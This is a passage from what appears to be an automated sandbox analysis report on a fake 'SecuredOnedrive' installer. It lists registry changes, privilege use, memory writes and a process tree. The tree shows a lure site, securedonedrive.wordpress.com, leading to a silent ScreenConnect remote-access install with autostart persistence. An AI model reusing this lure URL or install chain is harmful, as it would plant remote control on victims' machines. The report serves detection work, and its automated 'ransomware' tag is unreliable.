Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\LastUsedSource = "n;1;C:\\Users\\Admin\\AppData\\Local\\Temp\\ScreenConnect\\24.3.7.9067\\4efc3cdfd41882d9\\"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Features\57C000BD24162D40E48D9357A28A72FB	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\Language = "1033"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\AuthorizedLUAApp = "0"	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\DeploymentFlags = "3"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList	msiexec.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Classes\sc-4efc3cdfd41882d9\UseOriginalUrlEncoding = "1"	msiexec.exe
Key created	\REGISTRY\MACHINE\Software\Classes\sc-4efc3cdfd41882d9\shell\open\command	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\Media	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\Media\1 = ";"	msiexec.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\UpgradeCodes\B23D01BD84CD7DAFE4CFC3FD4D81289D	msiexec.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Installer\Products\57C000BD24162D40E48D9357A28A72FB\SourceList\PackageName = "ScreenConnect.ClientSetup.msi"	msiexec.exe

NTFS ADS 1 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\Unconfirmed 508439.crdownload:SmartScreen	msedge.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
632	msedge.exe
632	msedge.exe
116	msedge.exe
116	msedge.exe
4608	identity_helper.exe
4608	identity_helper.exe
4728	msedge.exe
4728	msedge.exe
3840	msiexec.exe
3840	msiexec.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
5556	ScreenConnect.ClientService.exe
3840	msiexec.exe
3840	msiexec.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
3840	msiexec.exe
3840	msiexec.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs

pid	Process
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2584	SecuredOnedrive.ClientSetup.exe
Token: SeShutdownPrivilege	2144	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2144	msiexec.exe
Token: SeSecurityPrivilege	3840	msiexec.exe
Token: SeCreateTokenPrivilege	2144	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2144	msiexec.exe
Token: SeLockMemoryPrivilege	2144	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2144	msiexec.exe
Token: SeMachineAccountPrivilege	2144	msiexec.exe
Token: SeTcbPrivilege	2144	msiexec.exe
Token: SeSecurityPrivilege	2144	msiexec.exe
Token: SeTakeOwnershipPrivilege	2144	msiexec.exe
Token: SeLoadDriverPrivilege	2144	msiexec.exe
Token: SeSystemProfilePrivilege	2144	msiexec.exe
Token: SeSystemtimePrivilege	2144	msiexec.exe
Token: SeProfSingleProcessPrivilege	2144	msiexec.exe
Token: SeIncBasePriorityPrivilege	2144	msiexec.exe
Token: SeCreatePagefilePrivilege	2144	msiexec.exe
Token: SeCreatePermanentPrivilege	2144	msiexec.exe
Token: SeBackupPrivilege	2144	msiexec.exe
Token: SeRestorePrivilege	2144	msiexec.exe
Token: SeShutdownPrivilege	2144	msiexec.exe
Token: SeDebugPrivilege	2144	msiexec.exe
Token: SeAuditPrivilege	2144	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2144	msiexec.exe
Token: SeChangeNotifyPrivilege	2144	msiexec.exe
Token: SeRemoteShutdownPrivilege	2144	msiexec.exe
Token: SeUndockPrivilege	2144	msiexec.exe
Token: SeSyncAgentPrivilege	2144	msiexec.exe
Token: SeEnableDelegationPrivilege	2144	msiexec.exe
Token: SeManageVolumePrivilege	2144	msiexec.exe
Token: SeImpersonatePrivilege	2144	msiexec.exe
Token: SeCreateGlobalPrivilege	2144	msiexec.exe
Token: SeCreateTokenPrivilege	2144	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2144	msiexec.exe
Token: SeLockMemoryPrivilege	2144	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2144	msiexec.exe
Token: SeMachineAccountPrivilege	2144	msiexec.exe
Token: SeTcbPrivilege	2144	msiexec.exe
Token: SeSecurityPrivilege	2144	msiexec.exe
Token: SeTakeOwnershipPrivilege	2144	msiexec.exe
Token: SeLoadDriverPrivilege	2144	msiexec.exe
Token: SeSystemProfilePrivilege	2144	msiexec.exe
Token: SeSystemtimePrivilege	2144	msiexec.exe
Token: SeProfSingleProcessPrivilege	2144	msiexec.exe
Token: SeIncBasePriorityPrivilege	2144	msiexec.exe
Token: SeCreatePagefilePrivilege	2144	msiexec.exe
Token: SeCreatePermanentPrivilege	2144	msiexec.exe
Token: SeBackupPrivilege	2144	msiexec.exe
Token: SeRestorePrivilege	2144	msiexec.exe
Token: SeShutdownPrivilege	2144	msiexec.exe
Token: SeDebugPrivilege	2144	msiexec.exe
Token: SeAuditPrivilege	2144	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2144	msiexec.exe
Token: SeChangeNotifyPrivilege	2144	msiexec.exe
Token: SeRemoteShutdownPrivilege	2144	msiexec.exe
Token: SeUndockPrivilege	2144	msiexec.exe
Token: SeSyncAgentPrivilege	2144	msiexec.exe
Token: SeEnableDelegationPrivilege	2144	msiexec.exe
Token: SeManageVolumePrivilege	2144	msiexec.exe
Token: SeImpersonatePrivilege	2144	msiexec.exe
Token: SeCreateGlobalPrivilege	2144	msiexec.exe
Token: SeCreateTokenPrivilege	2144	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2144	msiexec.exe

Suspicious use of FindShellTrayWindow 64 IoCs

pid	Process
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
2144	msiexec.exe
2144	msiexec.exe
3180	msiexec.exe
3180	msiexec.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe

Suspicious use of SendNotifyMessage 64 IoCs

pid	Process
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
116	msedge.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe
5304	taskmgr.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
392	helppane.exe
392	helppane.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 116 wrote to memory of 216	116	msedge.exe	83
PID 116 wrote to memory of 216	116	msedge.exe	83
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 3384	116	msedge.exe	84
PID 116 wrote to memory of 632	116	msedge.exe	85
PID 116 wrote to memory of 632	116	msedge.exe	85
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86
PID 116 wrote to memory of 4132	116	msedge.exe	86

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --start-maximized --single-argument http://securedonedrive.wordpress.com
1⤵
- Enumerates system info in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:116
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ffdd3a146f8,0x7ffdd3a14708,0x7ffdd3a14718
  2⤵
  PID:216
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2072 /prefetch:2
  2⤵
  PID:3384
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2204 /prefetch:3
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:632
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2980 /prefetch:8
  2⤵
  PID:4132
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3260 /prefetch:1
  2⤵
  PID:3812
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3284 /prefetch:1
  2⤵
  PID:1908
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4732 /prefetch:1
  2⤵
  PID:1696
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=service --mojo-platform-channel-handle=3512 /prefetch:8
  2⤵
  PID:1484
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5064 /prefetch:8
  2⤵
  PID:3060
- C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5064 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4608
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5060 /prefetch:1
  2⤵
  PID:904
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5144 /prefetch:1
  2⤵
  PID:5108
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5668 /prefetch:1
  2⤵
  PID:5024
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=13 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5944 /prefetch:1
  2⤵
  PID:3624
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=14 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5952 /prefetch:1
  2⤵
  PID:4348
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_collections.mojom.CollectionsDataManager --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=collections --mojo-platform-channel-handle=5372 /prefetch:8
  2⤵
  PID:1324
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=17 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5816 /prefetch:1
  2⤵
  PID:2916
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=chrome.mojom.UtilReadIcon --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=icon_reader --mojo-platform-channel-handle=6172 /prefetch:8
  2⤵
  PID:688
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=4040 /prefetch:8
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4728
- C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe
  "C:\Users\Admin\Downloads\SecuredOnedrive.ClientSetup.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:2584
- - C:\Windows\SysWOW64\msiexec.exe
    "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\ScreenConnect\24.3.7.9067\4efc3cdfd41882d9\ScreenConnect.ClientSetup.msi"
    3⤵
    - Enumerates connected drives
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of FindShellTrayWindow
    PID:2144
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=20 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5860 /prefetch:1
  2⤵
  PID:5200
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=21 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2112 /prefetch:1
  2⤵
  PID:2880
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=22 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=6528 /prefetch:1
  2⤵
  PID:3380
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=23 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2404 /prefetch:1
  2⤵
  PID:2620
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=1920,3693414509831089086,8520170225796874884,131072 --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=4318 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --gpu-preferences=UAAAAAAAAADoAAAQAAAAAAAAAAAAAAAAAABgAAAEAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=5928 /prefetch:2
  2⤵
  PID:4892

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4772

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:1972

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Enumerates connected drives
- Boot or Logon Autostart Execution: Authentication Package
- Drops file in Program Files directory
- Drops file in Windows directory
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3840
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 60FD2B481D8DD180481F02C3063B0F6C C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5180
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSIBA47.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240630562 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5232
- C:\Windows\system32\srtasks.exe
  C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
  2⤵
  PID:3312
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding C5723785C41B6FD29DE17FA0C2214635
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:5260
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3C2863EE978A451888A968F8F2920A85 E Global\MSI0000
  2⤵
  - Loads dropped DLL
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  PID:5436
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 3F84B791E2146B899751A76DB1236F81 C
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2492
- - C:\Windows\SysWOW64\rundll32.exe
    rundll32.exe "C:\Users\Admin\AppData\Local\Temp\MSI5251.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_240669328 1 ScreenConnect.InstallerActions!ScreenConnect.ClientInstallerActions.FixupServiceArguments
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    PID:5788
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 17FDA00FE56851B3527800589B7972D7
  2⤵
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:3772
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 79ADC98835E811E6E2EFE8E9501DD1E1 C
